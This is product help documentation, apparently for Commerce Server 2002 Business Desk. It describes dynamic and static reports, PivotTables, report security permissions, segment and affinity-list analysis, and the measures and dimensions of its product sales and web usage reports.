Export report results to Microsoft Excel | You can export the results of a dynamic report to Microsoft Excel. | You cannot export a static report to Microsoft Excel.
Create new report definitions | You can modify existing dynamic reports or create new ones based on a SQL Server query or an OLAP cube. For instructions about creating new dynamic report definitions, see Creating a New Dynamic Report Definition. | The system administrator can modify static reports programmatically. For instructions about modifying static reports, see Creating Custom Reports in Commerce Server 2002 Help.
Delete report definitions | You can delete custom dynamic report definitions. You cannot delete default dynamic report definitions. | You can delete custom static report definitions. You cannot delete default static report definitions.
Save completed reports | You cannot save completed dynamic reports with data in Business Desk. | Completed static reports are stored with their data in the Completed Reports module in Business Desk until you delete them.
View report results as a chart | You can view completed dynamic reports as PivotCharts. | You cannot view completed static reports as charts.
Use the drillthrough feature to view additional report data for selected reports | For dynamic OLAP reports you can double-click a cell in the PivotTable data area to retrieve the detailed data for that cell. | The drillthrough feature is not available for static reports.

See Also

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports


Dynamic Reports

A dynamic report is a report that is created at run time. Each time the report is run, it gathers the most recent data in the Data Warehouse. Only the report definition, which remains the same over time, is stored. (This differs from a static report, where the report is stored, with the data, in the Data Warehouse.) Use the Reports module to run dynamic reports.

When you run a dynamic report, it appears in a new Internet Explorer browser window as a PivotTable and/or a PivotChart. You can show or hide the PivotTable and/or PivotChart in every dynamic report.

PivotTables include filters, rows, columns, dimensions, and measures that contain your report details.

PivotCharts are graphical representations of the data in the report.

Within the PivotTable and PivotChart, you can view the details of your data and move dimensions and measures to get a different perspective on your data. The PivotTable and PivotChart remain synchronized with each other so that they present the same data.

For more information about working with PivotTables or PivotCharts, click Help on the PivotTable or PivotChart screen to view help for Microsoft PivotTables and PivotCharts.

Exporting a Dynamic Report

You use the PivotTable controls to export a completed dynamic report to Microsoft Excel. You use Microsoft Excel to save, modify, and print completed dynamic reports. To export a completed dynamic report to Microsoft Excel, you must have Microsoft Excel installed on the same computer on which your completed dynamic report resides.

Unlike a static report, you cannot export the results of a dynamic report to the List Manager module.

Creating New Dynamic Reports

You can create new dynamic report definitions based on any of the default reports included in Business Desk.

See Also

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports

Features of Dynamic and Static Reports

PivotTables

PivotTable Field List

PivotCharts

Drillthrough Reports

Creating a New Dynamic Report Definition

Exporting a Dynamic Report

Collapsed Dimensions

Static Reports


Drillthrough Reports

A drillthrough report is a dynamic report in which you can display detailed information about all of the dimensions in the cube that contain the clicked dimension.

In Commerce Server the following dynamic reports are drillthrough-enabled: Product Sales report and Shopping Basket Events report.

You can programmatically configure the drillthrough limits for a maximum number of records, and you can enable drillthrough for additional reports.

For information about enabling drillthrough reports, see ''Enabling Drillthrough Dynamic Reports'' in Commerce Server 2002 Help.

See Also

Features of Dynamic and Static Reports

Dynamic Reports

Static Reports


Static Reports

A static report is a report that is run immediately upon request and then stored, with the data, in the Data Warehouse. (This differs from a dynamic report, where only the information needed to create the report is stored in the Data Warehouse.) You can post static reports to your Web site, and you can export the data in a static report to the List Manager module in Business Desk.

Use the Reports module to run static reports, and use the Completed Reports module to view them.

Using static reports, you view reports based on very large data sets, although static reports that are run on very large data sets can take a long time to complete. While the report is running, the status of the report is shown as "Pending" in the Completed Reports module. When you open a completed static report, it opens as an HTML document in a new Microsoft Internet Explorer browser window.

Exporting Static Reports to List Manager: Static and Dynamic Lists

You can export the results of a static report as a static list or a dynamic list to the List Manager module in Campaigns. There are two types of lists:

  • Static list. The static list in List Manager contains the same data that was in the static report when you ran it; however, a static report is limited to 1,000 rows in the resulting HTML report. You can export an unlimited number of rows as a list.
  • Dynamic list. A dynamic list contains a pointer to the static report. For example, if you export the New Registered Users report, you use the Run a Report dialog box to configure the parameters of the report. If you select "last month" for the date of the report, the data exported as a list will be for the previous month.

    If you exported the report as a dynamic list, the report definition and parameters are stored in List Manager. Each time the dynamic list is run it shows data for the month preceding the current month, for example, data for June is returned if you run the list in July.

    List Manager retrieves the latest data from the Data Warehouse to create a dynamic list. However, if you exported the report as a static list (as opposed to a dynamic list) in June and selected "last month," the data in the list will always be for May, regardless of when you open the list.

The following figure illustrates a sample workflow for exporting static reports to List Manager.

Export a static report to List Manager

Customizing the Results of a Static Report

You use the static report properties in the Running a Report dialog box to customize the results of a static report. You can change or enter new values for any parameter on which the report is based. For example, you can limit the Registered User Properties report to show properties for only the 25 most recently registered users. For example:

  • If you run a report that has a date parameter, you can select an exact date, a date range, or a relative date, such as last year.
  • If you run a static report that has an expression parameter, you can select from a full set of operands to create the expression you want.

After you run a static report, you cannot modify the report results in the browser window. However, you can use the functions of Internet Explorer to print the report or to save it as a file, just as you would with any HTML file. For information about the features of Internet Explorer, see Internet Explorer Help.

Note

  • To create a custom static report, you or your site developer uses SQL scripts. For more information about sample scripts and tools for static reports, see ''Business Analytics Samples'' in Commerce Server 2002 Help.

See Also

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports

Commerce Server 2002 Reports

Running Reports

Exporting a Dynamic Report

Creating a New Dynamic Report Definition

Viewing Dynamic Reports

Exporting a Static Report

Viewing Static Reports


Using Reports Across Domains

If you are running multiple Web sites on a single Commerce Server Data Warehouse, you can run dynamic or static reports on a single site, on several sites, or on all sites present in the Data Warehouse.

Note

  • If you have multiple Web sites and Business Desk applications, you can create static reports based on data from multiple sites. However, you can view static reports only from the Business Desk application that you used to create those reports.


Report Definitions

A report definition specifies the row dimensions, column dimensions, and measures that are to be included in a report, and contains information about how the reports are to be presented. Each time a report is run, it will query the SQL Server database or Analysis server OLAP cubes to get current data.

The Reports module contains definitions for two types of reports: static and dynamic. Static reports provide an HTML-based record of the data. Dynamic reports use Office Web Controls to provide a snapshot of the data.

The reports in the Reports module are divided into the following categories: advertising, product sales, Web usage, users, visits, diagnostics, and query strings.

You can create custom dynamic report definitions, and your system administrator can create both custom dynamic and static report definitions. Both dynamic and static reports return specified views of the summarized data in the Data Warehouse.

See Also

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports

Features of Dynamic and Static Reports

Commerce Server 2002 Reports

Customizing Reports


Dimensions and Measures

The data returned in a report is determined by the dimensions and measures that the report definition contains. You use measures and dimensions for viewing reports:

  • Measures are numeric entities that are aggregated in some manner, for example, minimum, maximum, count, sum, and average. Measures can also be calculated measures based upon mathematical operations of multiple measures.
  • Dimensions are business entities, such as color, size, product, or time. By combining dimensions and measures, Commerce Server 2002 report definitions provide both quantitative and time-based information.

In some reports, the numeric values (measures) are averaged over time. In these cases, it is important to understand how the averaging calculation, time interval, and physical location of the value in the report affect the value. For example, consider the measures:

  • Average requests per hour
  • Average requests per day of week
  • Average visits per hour
  • Average visits per day of week

When these values are calculated, they are based on the time interval that is spanned by the current cell in the pivot table. When multiple time dimensions are added to the report, the OLAP cube calculates the intersection of those dimensions to determine the period of time over which the average should be calculated.

For example, a cell that contains an average-by-hour measure (such as Average requests per hour), in a column that intersects a row containing the time period of Date = June, 2000, and Hour of day = 12:00, will contain the sum of all activity in the month of June, 2000 that occurred between the hours of 12:00 PM and 1:00 PM, divided by 30. (There are 30 days in the month of June, and each day contains one 12:00 hour.)

When you run a static report, you can change the parameters of the data returned. For example, you can request data for only the 25 users who made purchases, but you cannot change the dimensions and measures in the report.

When you run a dynamic report, a list of available dimensions and measures appears in a PivotTable or a PivotChart.

You can use the PivotTable Field List to change the dimensions and measures in a dynamic report by adding, removing, and changing the orientation of dimensions and measures, and by changing the level of detail that the completed report shows.

If you change a completed dynamic report definition, you can save the report definition with the changes as a new report or as a custom dynamic report definition.

See Also

Features of Dynamic and Static Reports

Custom Reports

Commerce Server 2002 Reports

PivotTables

PivotTable Field List

PivotCharts


PivotTables

A PivotTable is an interactive table used to display dynamic reports.

You can make the following changes to a PivotTable or PivotChart in a dynamic report:

  • Add or remove dimensions as rows or columns, and add or remove measures.
  • Expand or collapse the level of detail shown for the dimensions.
  • Add or change filter dimensions.

After you make changes, you can save the changed report as a new dynamic report definition. This new dynamic report definition will then be available in the Reports module in Business Desk.

The following figure uses the Ad Reach and Frequency per Advertiser report to show the screen elements of a PivotTable.

Screen elements of a PivotTable

See Also

Creating a New Dynamic Report Definition

PivotCharts

PivotTable Field List

Collapsed Dimensions


PivotTable Field List

A PivotTable Field List contains a list of dimensions and measures that can be used for a dynamic report. You use the PivotTable Field List to add dimensions and measures to a PivotTable. The PivotTable Field List appears when the dynamic report appears in a browser window. If the Field List does not appear automatically, click Field List on the toolbar.

The Field List shows the dimensions and measures that can be included in a dynamic report. Dimensions and measures shown in bold type are included in the default view of a report; those not shown in bold type are available for use in the report. You can use the drag-and-drop feature to add dimensions and measures to a report.

The following figure shows the screen elements of a PivotTable Field List.

PivotTable Field List

Note

  • The preceding figure shows PivotTable fields for a report that is available only in Commerce Server 2002 Enterprise Edition.

See Also

PivotTables

PivotCharts

Collapsed Dimensions


Collapsed Dimensions

A dimension is a descriptive attribute of measure. For example, Totals is a dimension, and Frequency is one of its measures.

You expand and collapse dimensions to change the level of detail that appears in a report.

Collapsed dimensions appear in the PivotTable with a plus sign (+) to the left of the dimension name. When a dimension is collapsed, the total shown in the report is a rolled-up total for the dimension as a whole. You can click the plus sign next to a dimension name to reveal the individual dimension members.

Collapsed dimensions are sorted at the level at which they are collapsed.

See Also

PivotTables

PivotCharts

PivotTable Field List


PivotCharts

A PivotChart is an interactive chart used to display a dynamic report. The Chart Type button button displays your dynamic report as one of the many types of charts available in Commerce Server 2002.

Each Commerce Server 2002 dynamic report definition is assigned a default chart format, but you can choose different chart formats to meet your needs. You use the PivotChart Field List to add dimensions and measures to a PivotChart.

The following figure shows the screen elements of a PivotChart in the Usage Summary by Day of Week report.

Note

  • The preceding figure shows a PivotChart for a report that is available only in Commerce Server 2002 Enterprise Edition.

The PivotChart shows all the measures in the current PivotTable view. If the PivotChart becomes too crowded to view, try removing some measures, collapsing some dimensions, or adding a filter dimension.

The PivotChart supports many chart formats, which can be viewed and selected by clicking Chart Type button on the PivotChart.

Note

  • The chart is only connected to the pivot if the report displays a chart or if the operator presses the "Show Chart" button, because some large reports take a long time to render for the first time.

See Also

Viewing Dynamic Reports

PivotTables

PivotTable Field List

Collapsed Dimensions


Securing Reports

It is recommended that you and your system administrator secure the Business Desk Analysis modules used to create reports, and the Data Warehouse databases that contain the report data. In both cases, your system administrator creates Windows groups for Business Desk users who are going to access Analysis functionality, and then assigns these groups the appropriate permissions.

Securing Analysis Modules

Securing the Data Warehouse Databases

Securing Analysis Modules

Use the Business Desk Permissions module to grant and deny Business Desk users permission to run Analysis reports. You can secure areas of Business Desk Analysis so that specific reporting functions are available only to selected users or user groups.

For example, you can disable the Run button in the Reports module so that a group of users cannot run dynamic reports in Business Desk.

The only default Business Desk user account is the BizDesk administrators group. Upon installation of a Business Desk application, this group account initially consists of the users in the Windows Administrators group for the Web server on which the Business Desk application is installed.

A member of the BizDesk administrators group has all permissions, and can add other users and give them new report permissions. New report permissions enable users to create new reports and save reports.

Important

  • New report permissions permit a Business Desk user to create new SQL queries for reports and save them in the Data Warehouse. Users who run reports might not realize that they are running a new and potentially damaging query. This potential risk must be considered when determining to whom to grant New report privileges.

For instructions about applying Business Desk permissions, see Setting Business Desk Permissions for Windows Accounts.

Notes

  • If users have permission to use the Campaign Manager module, they can use Campaign Manager to export a report to List Manager, and then access user data in the list.

    To secure user data in this scenario, explicitly deny users the ability to export reports to List Manager.

  • After a user runs a dynamic report, the New (New Report) and Save (Save Report) buttons are enabled, regardless of the permissions you assigned these users in Business Desk. These buttons are not directly controlled through Business Desk Security.

    The user might be able to run a dynamic report outside Business Desk by using the URL that Business Desk uses to run reports.

Securing the Data Warehouse Databases

Your system administrator secures the Data Warehouse databases that contain the data used in reports. If users cannot access the Data Warehouse databases, they cannot run reports.

Your system administrator can create a ''reporting'' role in SQL Server, and then assign groups of Windows accounts to that role. For more information, see Scripts for Securing Databases Accessed by Reports.

For a list of which reports access each of the Data Warehouse databases, see Reports Accessing OLAP Cubes and SQL Server.

Commerce Server 2002 enables a Business Desk user to run dynamic reports by connecting to the OLAP database through Internet Information Services. When this connection method is configured, the PivotTable service can tunnel through firewalls or proxy servers to the Analysis Services server. For more information, see Accessing the Analysis Server Over HTTPS.

See Also

Scripts for Securing Databases Accessed by Reports

Reports Accessing OLAP Cubes and SQL Server

Accessing the Analysis Server Over HTTPS

Setting Business Desk Permissions for Windows Accounts

Viewing Account Permissions


About Segments

Note

  • Before you can work with segments, you must contact your system administrator to create Segment models for you.

You use the Segment Viewer module to perform segmentation (or clustering) analysis. In segmentation analysis, users are grouped into segments according to their behavior on the site and their properties, such as age and gender.

The result of the segmentation process is a Segment model. The Segment model describes the shared characteristics of the users belonging to a segment or a group of segments. Segments and segment groups are created in Commerce Server Manager from data in your Data Warehouse.

You use the Segment Viewer module to examine a single segment or to compare one segment to another. You also use the Segment Viewer module to create a summary report of all your segments and to export a segment to a list.

This section contains:

  • Segments and Segment Groups
  • Segment Models
  • Segment Viewer
  • Segment Reports


Segments and Segment Groups

Note

  • Before you can work with segments and segment groups, you must contact your system administrator to create Segment models for you.

When you analyze segments, you work with two elements: segments and segment groups:

  • Segments are clusters of users that exhibit similar behavior on your Web site or have similar properties, such as age and gender. A segment consists of a summary of the database records that belong to a group of users who share similar profile properties. The summary is derived from properties in the Data Warehouse used to cluster the database records.
  • Segment groups are collections of similar segments or other segment groups.

    The segment groups form a hierarchy from which you can analyze trends and discover correlations within the data at different levels of the segment hierarchy. By grouping users according to their similarities, new correlations might become apparent to you. These newly recognized correlations could form the basis for targeting and personalization rules.

See Also

Exporting Segment Data to List Manager

Viewing a Segment Model

Generating a Segment Report

Workflow for Segment Analysis

Segment Models

Segment Viewer

Segment Reports


Segment Models

Note

  • You must contact your system administrator to create Segment models for you.

A Segment model describes the characteristics of the users belonging to each of the segments and segment groups.

You use Segment models to discover and analyze the attribute values that characterize the users visiting your site. For example, after building a Segment model, you might discover a segment characterizing users who purchased a popular fantasy book for children: female, over 40, income above $55,000 per year, and an education level of college graduate or greater. After you have discovered these common characteristics, you can then offer similar products to users matching those criteria. For example, these users might also be likely to buy an animal book for children.

At your request, your system administrator can build Segment models by using data derived from the Commerce Server Data Warehouse. Your system administrator should notify you after the new Segment model is complete, so you can view updated Segment model information in the Segment Viewer module in Commerce Server Business Desk.

See Also

Exporting Segment Data to List Manager

Viewing a Segment Model

Generating a Segment Report

Workflow for Segment Analysis

Segments and Segment Groups

Segment Viewer

Segment Reports


Segment Viewer

Note

  • Before you can use the Segment Viewer, contact your system administrator to create Segment models for you.

You view segment groups and single segments by using the Segment Viewer in Commerce Server Business Desk. The Segment Viewer is a data analysis tool designed for the business manager. Using the Segment Viewer module, you can identify usage trends and make marketing decisions based on similarities among users.

You use the Segment Viewer module to view relevant information about various segments and to compare and contrast their properties. You can save members of single segments to a list in the List Manager module in Business Desk if you want to perform further analysis and classification on the segments.

When you first open the Segment Viewer module, a list of available Segment models appears. After you select a Segment model and click the Open Model button on the toolbar, the Segment Viewer screen appears, which contains three work areas:

  • A hierarchical view of the segments and segment groups in the Segment model you opened.
  • A summary of the common attribute/value pairs for the selected segment or segment group.
  • A comparison of the selected segment to another segment or segment group.

The first time you view a Segment model by using the Segment Viewer, the segments and segment groups in the segment list have generic names, such as Segment1, Segment2, and so on. The percentage of the total population represented in a segment or segment group appears in parentheses after the name. The segment summary appears in the screen to the right of the segment list.

Segment Viewer work area

The summary of your segment or segment group contains a table with the following columns:

  • Property/value pairs. Correspond to each other and best summarize the records in the selected segment or segment group. For example, if the majority of records in a given segment correspond to people whose occupation is "Student," then "Occupation" appears in the Property column and "Student" appears in the Value column.
  • Score. A red bar, the length of which is a relative indicator of how well the matching property/value pair summarizes the records in the selected segment or segment group.

See Also

Exporting Segment Data to List Manager

Viewing a Segment Model

Generating a Segment Report

Workflow for Segment Analysis

Segments and Segment Groups

Segment Models

Segment Reports

Analyzing Population Segments


Segment Reports

Note

  • Before you can work with segment reports, you must contact your system administrator to create Segment models for you.

You use the Segment Viewer module to generate a report that is a summary of all the segment groups and segments in a model. You use this report to view all segments. Each segment and segment group contains links to its detailed report information; clicking these links allows you to move easily between segments.

You use segment reports to analyze segments, user groups, and their behavioral trends. You use this segmentation analysis to better understand user activity on your Web site. The report appears in a separate browser window.

See Also

Commerce Server 2002 Reports

Viewing a Segment Model

Generating a Segment Report

Exporting Segment Data to List Manager

Workflow for Segment Analysis

Segments and Segment Groups

Segment Models


About Affinity Lists

Note

  • Before you can work with affinity lists, your system administrator must build a Prediction model for you.

You use the Affinity Lists module in Commerce Server Business Desk to create user affinity lists from prediction models, and then export the lists into List Manager. After the list is in List Manager, you can use it for a targeted campaign like direct mail or to set user profile properties for targeted advertising.

Using Commerce Server 2002, your System Administrator can create the following model configurations:

  • Transactions. Use to build analysis models that predict the products that users are likely to buy. For example, your site could present each user with a list of personalized product recommendations.
  • Demographics. Use to build analysis models that predict the demographic characteristics that your users are likely to share. For example, you can use the demographic analysis models to improve your understanding of the registered users who visit your site.
  • Combined Transactions and Demographics. Use to build analysis models that predict likely relationships between demographic characteristics and product purchases. The accuracy of this model is directly proportional to the number of registered users on your Web site.
  • Product Browsing. Use to build analysis models that predict the products that your users are likely to browse. For example, you can place links on your site that are relevant to your users.
  • Ad Click. Use to build analysis models that predict the ads that your users are likely to click.

Prediction models describe the predicted future behavior of users based on similar users whose information is stored in the Data Warehouse. Your site administrator builds these models in Commerce Server Manager.

After these models have been built, you use them to predict which of your registered users might be interested in a certain product based on their properties (for example, products they purchased on your site, their demographic information, or the pages they have browsed on your site). You then use the Affinity Lists module to create a list of users to whom you can target a direct mail campaign.

See Also

Workflow for Affinity Lists


Commerce Server 2002 Reports

Commerce Server 2002 provides you with a set of 35 report definitions. You can change dynamic report definitions to create new reports and add your newly created dynamic report definitions to the Reports module in Commerce Server Business Desk. For more information about creating a new dynamic report definition, see Creating a New Dynamic Report Definition. In addition, your site developer or system administrator can create custom reports as needed.

Note

  • Your system administrator must perform several tasks before you can run reports. For more information, see Before You Analyze Commerce Server Data.

This section contains:

  • Product Sales Reports
  • Web Usage Reports
  • Advertising Reports
  • User Reports
  • Visit Reports
  • Diagnostic Reports
  • Query String Reports
  • Report Properties
  • Time Handling in Reports

See Also

Reports Accessing OLAP Cubes and SQL Server

Securing the Data Warehouse

Scripts for Securing Databases Accessed by Reports

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Product Sales Reports

You use the Reports module to run reports to analyze product sales data.

Buyer Browse to Purchase

Customer Sales

Order Events

Product Sales

Shopping Basket Events

Buyer Browse to Purchase (Dynamic)

Use the Buyer Browse to Purchase report to review user visits and purchasing patterns. This report shows the number of first time and repeat buyers, and the average number of visits for each purchase per buyer.

You use information from this report to examine user retention rate.

The following table lists the measures that this report contains.

Measure | Description
Count Sales | The number of purchases made on the site during the report period.
Visit Count | The number of visits to the site during the report period. A visit is an arbitrary value, based on the time a user spends on a Web site. The default value of one visit is 30 minutes.
Visitor Count | The number of unique users who visited the site during the report period.
Visits Per Buy | The average number of times users visited the site for each purchase.

The following table lists the dimensions that this report contains.

Dimension | Description
Buyer Type | The type of user who made a purchase. For example, first time (users who only made one purchase), or repeat (users who have made more than one purchase).
Site | The site on which a user made a purchase.

Return to Product Sales Reports

Customer Sales (Static)

Use the Customer Sales report to see customer details, total sales, and total orders. This report can be exported to the List Manager module in Commerce Server Business Desk, and the information it provides can be used to target customers with online campaigns, such as direct mail promotions.

The following table lists the measures that this report contains.

Measure | Description
Orders | The number of completed orders for the site.
Sales | The total, including purchase price, tax, and shipping paid for each order.

The following table lists the dimensions that this report contains.

Dimension | Description
Currency | The currency used for each purchase.
E-mail | The e-mail address for each user who made a purchase.
First Name | The first name of each user who made a purchase.
Last Name | The last name of each user who made a purchase.
User ID | The unique ID of each user who made a purchase.

Return to Product Sales Reports

Order Events (Dynamic)

Use the Order Events report to review order submittal events, such as a user clicking the Checkout button to indicate that the order is complete. This report shows the number of submittal order events performed by registered and anonymous users each hour.

The following table lists the measures that this report contains.

Measure | Description
Count Events | The total number of purchase events for the site.

The following table lists the dimensions that this report contains.

Dimension | Description
DateHour | The year, quarter, day, and hour a purchase event took place.
EventName | The type of event that took place (for example, purchase event).
Hour of Day | The hour a purchase event took place.
Site | The name of the site on which a purchase was made.
User Type | The type of the user who made the purchase. For example, a registered user or an anonymous user.

Return to Product Sales Reports

Product Sales (Dynamic)

Use the Product Sales report to review product sales volume and revenue by date. This report shows the total quantity and revenue, sorted by product category. For each product category displayed, the report shows the sales information for all products in that category and all descendant categories.

For example, if you have a product category hierarchy with a top level of "Electronics," it might contain two child categories—"Clocks" and "Radios." A single sale for one product (a clock radio) that you categorized as belonging to "Clocks" and "Radios" would show in the report as a quantity of 1 under the category "Electronics" because the product belongs to a child category of "Electronics."

However, if the "Electronics" category is expanded, the sale will show as a quantity of 1 under "Clocks" and a quantity of 1 under "Radios" because the clock radio belongs to both categories. Although the product sale is shown under both child categories of "Electronics," the product is included only once in the total for the "Electronics" category.

The following table lists the measures that this report contains.

Measure | Description
Quantity | The number of the item sold.
Revenue | The total of the sales of the item.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date of each sale.
Site | The site on which the sale was made.
Product Category | The product category hierarchy of the item sold.
Currency | The currency in which each sale was made.

Note

  • You cannot have multiple selection filters for the Product Category dimension.

Return to Product Sales Reports

Shopping Basket Events (Dynamic)

Use the Shopping Basket Events report to review user behavior in regard to shopping basket activity. This report shows shopping basket activity broken down by product category. For each product category displayed, the report shows the number of shopping basket events for all products in that category and all descendant categories.

For example, if you have a product category hierarchy with a top level of "Electronics" it might have two child categories—"Clocks" and "Radios." A single shopping basket event for a product (the clock radio) that you categorized as belonging to "Clocks" and "Radios" would show as a quantity of 1 under the "Electronics" category because the product belongs to a child category of "Electronics."

If the "Electronics" category is expanded, the event will show as quantity of 1 under "Clocks" and a quantity of 1 under "Radios" because the clock radio belongs to both categories. Although the shopping basket event is shown under both child categories of "Electronics," the event is included only once in the total for the "Electronics" category.

You use information from this report to examine popular items on your Web site.

The following table lists the measures that this report contains.

Measure | Description
Count | The number of shopping basket events that occurred during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
DateHour | The date and hour of each shopping basket event that occurred during the report period.
EventName | The type of shopping basket event that occurred (for example, add to basket or remove from basket events).
Product Category | The category of each product involved in a shopping basket event.
Site | The site on which the shopping basket event occurred.

Note

  • You cannot have multiple selection filters for the Product Category dimension.

Return to Product Sales Reports

See Also

Reports Accessing OLAP Cubes and SQL Server

About Dynamic and Static Reports

Commerce Server 2002 Reports

Before You Analyze Commerce Server Data

Finding Reports

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Printing Reports

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Web Usage Reports

You use the Reports module to run reports to analyze site usage, referring URLs, and requests for data.

Activity by Browser

Directories

Entry Path Analysis

Top Referring Domains by Requests

Top Requested Pages

Usage Summary by Day of Week

Usage Summary by Hour of Day

Usage Summary by Week of Year

Usage Trends

Activity by Browser (Dynamic)

Use the Activity by Browser report to review activity by types of browsers used to access your Web site.

You use information from this report to examine browser technology trends, which should be a consideration for Web development.

The following table lists the measures that this report contains.

Measure | Description
Visits | The number of closed visits in which the user used a particular browser during the report period. A visit is an arbitrary value, based on the time a user spends on a Web site. The default value of one visit is 30 minutes.

The following table lists the dimensions that this report contains.

Dimension | Description
Agent Browser Category | The type of Web browser software the user used to view the Web site.
Agent Version | The version of the Web browser software the user used to view the Web site.
Operating System | The operating system the user used while visiting the site.
User Agent | User-agent string from the Web log file.
Date | The date on which a user visited the site.
Site | The site the user visited.

Note

  • Your system administrator can use the CSDW_MakeUserAgentDate stored procedure to add additional operating systems to the Operating System dimension.

Return to Web Usage Reports

Directories (Dynamic)

Use the Directories report to determine which of the 1,000 Uniform Resource Identifier (URI) directory levels are the most visited. This report shows activity for the first six levels of URI directories.

Note

  • Even though the top 1,000 pages will always be included in a report, other pages might be included as well. This is because the URI dimension includes the top 1,000 entry pages, exit pages, and most requested pages for every site.
  • If you want to see URIs that provide information other than the 1,000 most active URIs, for example, the least active URIs, ask your system administrator to edit the CSDW_MakeAggRequestsByUri stored procedure in the site database.

The following table lists the measures that this report contains.

Measure | Description
Hits Count | The total number of hits that occurred during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a hit occurred.
Directory Level | Directory level that corresponds to the site. (Commerce Server supports up to six levels deep.)
Is Request | Whether the hit was a request (for example, for the delivery of an ad).
Site | The site on which a hit occurred.

Return to Web Usage Reports

Entry Path Analysis (Static)

Use the Entry Path Analysis report to determine the entry paths most frequently used to get to your site. This report shows the top six levels of path directories.

Note

  • The Entry Path Analysis report performs intensive analysis of how users traversed your site. This is a very process-intensive task and can take a long time to complete.

The following table lists the measures that this report contains.

Measure | Description
Count | The number of pages that users accessed while visiting the site.

The following table lists the dimensions that this report contains.

Dimension | Description
URI 1 | The Universal Resource Identifier for the first path to a page in the Web site that a user visited. (Commerce Server supports recording up to six.)
URI 2 | The Universal Resource Identifier for the second path to a page in the Web site that a user visited. (Commerce Server supports recording up to six.)
URI 3 | The Universal Resource Identifier for the third path to a page in the Web site that a user visited. (Commerce Server supports recording up to six.)
URI 4 | The Universal Resource Identifier for the fourth path to a page in the Web site that a user visited. (Commerce Server supports recording up to six.)
URI 5 | The Universal Resource Identifier for the fifth path to a page in the Web site that a user visited. (Commerce Server supports recording up to six.)
URI 6 | The Universal Resource Identifier for the sixth path to a page in the Web site that a user visited. (Commerce Server supports recording up to six.)

Return to Web Usage Reports

Top Referring Domains by Requests (Dynamic)

Use the Top Referring Domains by Request report to review the sites from which your users access your site. This report shows a list of the most active referring domains by number of requests.

The following table lists the measures that this report contains.

Measure | Description
Requests % | The percent of requests based on the current request count divided by the total request count of all referrer domain names.
Requests Count | The total number of requests that occurred during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Referrer Domain Name | The domain from which a user came to the site.
Site | The site the user visited.

Return to Web Usage Reports

Top Requested Pages (Dynamic)

Use the Top Requested Pages report to review the pages most requested. This report shows a list of the 1,000 most active pages, including query strings, by number of requests.

The Top Requested Pages report provides statistics per page. This is different from the Directories report, which provides statistics for all pages within a URL directory.

Note

  • Even though the top 1,000 pages will always be included in a report, other pages can be included as well. This is because the URI dimension includes the top 1,000 entry pages, exit pages, and most requested pages for every site.
  • If you want to see more than the 1,000 most active pages, for example, the least active pages, ask your system administrator to edit the CSDW_MakeAggRequestsByUri stored procedure in the Data Warehouse.

The following table lists the measures that this report contains.

Measure | Description
Requests % | The percentage of requests calculated by dividing the request count for the most active pages by the total request count, for the report period.
Requests Count | The total number of requests that occurred during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Is Request | Whether the event is a request.
Site | The site on which a request occurred.
URI | The Universal Resource Identifier for each page requested.

Return to Web Usage Reports

Usage Summary by Day of Week (Dynamic)

Use the Usage Summary by Day of Week report to view a PivotChart showing the average number of page requests and average user visits per day of the week.

The following table lists the measures that this report contains.

Measure | Description
Avg Requests Per Day | The average number of requests per day (the total number of requests divided by the number of days in the report period) that occurred during the report period.
Avg Visits Per Day | The average number of visits per day (the total number of requests divided by the number of days in the report period) that occurred during the report period. A visit is an arbitrary value, based on the time a user spends on a Web site. The default value of one visit is 30 minutes.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit or request occurred.
Day of Week | The day of the week on which a visit or request occurred.
Site | The site on which a visit or request occurred.

Return to Web Usage Reports

Usage Summary by Hour of Day (Dynamic)

Use the Usage Summary by Hour of Day report to view a PivotChart showing the average number of page requests and average user visits per hour of the day.

The following table lists the measures that this report contains.

Measure | Description
Avg Requests Per Hour | The average number of requests per hour that occurred during the report period.
Avg Visits Per Hour | The average number of visits that occurred during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit or request occurred.
Hour of Day | The hour in which a visit or request occurred.
Site | The site on which a visit or request occurred.

Return to Web Usage Reports

Usage Summary by Week of Year (Dynamic)

Use the Usage Summary by Week of Year report to view a PivotChart showing the average number of page requests and average user visits per week of the year.

Note

  • For years that begin on a Saturday, the Week of Year dimension returns week 53 for the last week.

The following table lists the measures that this report contains.

Measure | Description
Avg Requests Per Week | The average number of requests per week that occurred during the report period.
Avg Visits Per Week | The average number of visits that occurred during the report period. A visit is an arbitrary value, based on the time a user spends on a Web site. The default value of one visit is 30 minutes.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which a visit or request occurred.
Site | The site on which a visit or request occurred.
Week of Year | The week of the year in which a visit or request occurred.

Return to Web Usage Reports

Usage Trends (Dynamic)

Use the Usage Trends report to review a summary of daily page requests, distinct users, and visits.

The following table lists the measures that this report contains.

Measure | Description
Requests | The number of requests each user made while visiting the site.
Distinct Users | A user distinguished as unique during the period of the report. Commerce Server counts the user as a unique user only once.
Visits | The number of closed visits that occurred during the report period.

The following table lists the dimensions that this report contains.

Dimension | Description
Date | The date on which each request occurred.
Site | The site on which each request occurred.
User Type | The type of user who visited the site. For example, a registered user or an anonymous user.

Return to Web Usage Reports

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Before You Analyze Commerce Server Data

Finding Reports

Running Reports

Viewing Dynamic Reports

Viewing Static Reports

Printing Reports

Reports Accessing OLAP Cubes and SQL Server

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Advertising Reports

You use the Reports module to run reports to analyze advertising data.

Ad Reach and Frequency by Date

